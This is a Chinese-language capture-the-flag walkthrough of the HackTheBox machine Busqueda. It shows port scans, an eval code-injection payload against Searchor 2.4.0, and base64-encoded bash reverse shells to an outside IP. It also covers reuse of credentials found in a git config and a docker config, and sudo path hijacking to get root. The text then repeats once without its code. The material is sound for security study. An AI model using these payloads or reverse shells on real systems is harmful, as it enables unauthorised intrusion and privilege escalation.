hackthebox Busqueda 2种方法立足
字数 1134 2025-08-24 07:48:10

HTB Busqueda渗透测试教学文档

目标概述

Busqueda是一台容易的Linux机器,主要涉及利用Python Searchor命令行工具中的漏洞。通过该漏洞可以获得用户访问权限,然后通过git配置文件和docker信息发现更多凭证,最终实现权限提升。

初始信息收集

端口扫描

使用nmap进行端口扫描:

nmap -min-rate 1000 -p- 10.129.111.31

结果:

PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
47094/tcp filtered unknown

详细服务扫描:

nmap -min-rate 1000 -p22,80 -sV -sC 10.129.111.31

结果:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

域名发现

通过curl检测发现重定向到searcher.htb:

curl -v -s 10.129.111.31

将域名添加到/etc/hosts文件:

10.129.111.31 searcher.htb

Web应用分析

技术栈识别

通过响应头发现:

  • 前端服务器:Apache/2.4.52 (Ubuntu)
  • 后端框架:Werkzeug/2.1.2 Python/3.10.6

网站功能

网站是一个搜索工具,可以将输入转发到不同搜索引擎。

漏洞利用方法

方法一:Searchor漏洞利用

  1. 发现Searchor 2.4.0版本存在漏洞
  2. 查看GitHub修复提交:https://github.com/ArjunSharda/Searchor/pull/130/files
  3. 漏洞代码分析:
@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})")
        url = Engine[engine].search(query, copy_url=copy, open_web=open)
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:

问题在于使用了eval函数执行用户输入,导致代码注入。

方法二:Fuzz测试

  1. 使用Burp抓取搜索请求
  2. 使用ffuf进行模糊测试:
ffuf -request searcher.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt
  1. 发现单引号可以闭合字符串
  2. 构造Python代码注入:
engine=Accuweather&query=11')%2b import ('os').system('id')%20%23%20
  1. 获取反弹shell:
echo -n "bash -c 'bash -i >& /dev/tcp/192.11.16.25/9001 0>1&' " |base64

使用base64编码的payload执行:

engine=Accuweather&query=11')%2b import ('os').system('echo YmFzaCAtYyAnYmFzaCAtaSAgID4mICAvZGV2L3RjcC8xOTIuMTEuMTYuMjUvOTAwMSAwPjEmJyAg | base64 -d | bash')%20%23%20

横向移动

发现git凭证

在/var/www/app/.git/config中发现:

[remote "origin"]
    url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

密码重用

尝试使用密码jh1usoih2bkjaspwe92登录svc用户成功:

ssh svc@10.129.111.31

权限提升路径

  1. 检查sudo权限:
sudo -l

发现可以执行:

(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
  1. 分析docker容器:
sudo python3 /opt/scripts/system-checkup.py docker-ps
  1. 检查容器配置:
sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 9608 |jq .

发现数据库凭证:

"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh"
  1. 连接MySQL数据库:
mysql -h 127.0.0.1 -u gitea -pyuiu1hoiu4i5ho1uh gitea
  1. 查询用户凭证:
select name,email,passwd from user;
  1. 使用获取的凭证登录Gitea的administrator账号

  2. 分析system-checkup.py脚本:

elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)
  1. 创建恶意full-checkup.sh:
echo "bash -c 'bash -i >& /dev/tcp/192.11.16.25/9002 0>&1'" > /tmp/full-checkup.sh
chmod +x /tmp/full-checkup.sh
  1. 执行脚本获取root shell:
sudo python3 /opt/scripts/system-checkup.py full-checkup

修复建议

  1. 软件更新:及时更新Searchor到最新版本,修复eval漏洞
  2. 密码策略
    • 避免使用弱密码
    • 禁止密码重用
    • 实施密码复杂度要求
  3. 权限控制
    • 限制sudo权限
    • 脚本目录设置正确权限
    • 使用绝对路径调用脚本
  4. 安全开发
    • 避免使用eval执行用户输入
    • 实施输入验证和过滤
    • 使用参数化查询
  5. 容器安全
    • 限制容器访问敏感信息
    • 使用秘密管理工具存储凭证
    • 实施最小权限原则

总结

通过本次渗透测试,我们学习了:

  1. 如何通过代码审计发现eval注入漏洞
  2. 模糊测试在Web应用安全测试中的应用
  3. 凭证重用和横向移动技术
  4. 通过sudo权限和路径劫持实现权限提升
  5. 容器环境中的信息收集技术
HTB Busqueda渗透测试教学文档 目标概述 Busqueda是一台容易的Linux机器,主要涉及利用Python Searchor命令行工具中的漏洞。通过该漏洞可以获得用户访问权限,然后通过git配置文件和docker信息发现更多凭证,最终实现权限提升。 初始信息收集 端口扫描 使用nmap进行端口扫描: 结果: 详细服务扫描: 结果: 域名发现 通过curl检测发现重定向到searcher.htb: 将域名添加到/etc/hosts文件: Web应用分析 技术栈识别 通过响应头发现: 前端服务器:Apache/2.4.52 (Ubuntu) 后端框架:Werkzeug/2.1.2 Python/3.10.6 网站功能 网站是一个搜索工具,可以将输入转发到不同搜索引擎。 漏洞利用方法 方法一:Searchor漏洞利用 发现Searchor 2.4.0版本存在漏洞 查看GitHub修复提交:https://github.com/ArjunSharda/Searchor/pull/130/files 漏洞代码分析: 问题在于使用了eval函数执行用户输入,导致代码注入。 方法二:Fuzz测试 使用Burp抓取搜索请求 使用ffuf进行模糊测试: 发现单引号可以闭合字符串 构造Python代码注入: 获取反弹shell: 使用base64编码的payload执行: 横向移动 发现git凭证 在/var/www/app/.git/config中发现: 密码重用 尝试使用密码jh1usoih2bkjaspwe92登录svc用户成功: 权限提升路径 检查sudo权限: 发现可以执行: 分析docker容器: 检查容器配置: 发现数据库凭证: 连接MySQL数据库: 查询用户凭证: 使用获取的凭证登录Gitea的administrator账号 分析system-checkup.py脚本: 创建恶意full-checkup.sh: 执行脚本获取root shell: 修复建议 软件更新 :及时更新Searchor到最新版本,修复eval漏洞 密码策略 : 避免使用弱密码 禁止密码重用 实施密码复杂度要求 权限控制 : 限制sudo权限 脚本目录设置正确权限 使用绝对路径调用脚本 安全开发 : 避免使用eval执行用户输入 实施输入验证和过滤 使用参数化查询 容器安全 : 限制容器访问敏感信息 使用秘密管理工具存储凭证 实施最小权限原则 总结 通过本次渗透测试,我们学习了: 如何通过代码审计发现eval注入漏洞 模糊测试在Web应用安全测试中的应用 凭证重用和横向移动技术 通过sudo权限和路径劫持实现权限提升 容器环境中的信息收集技术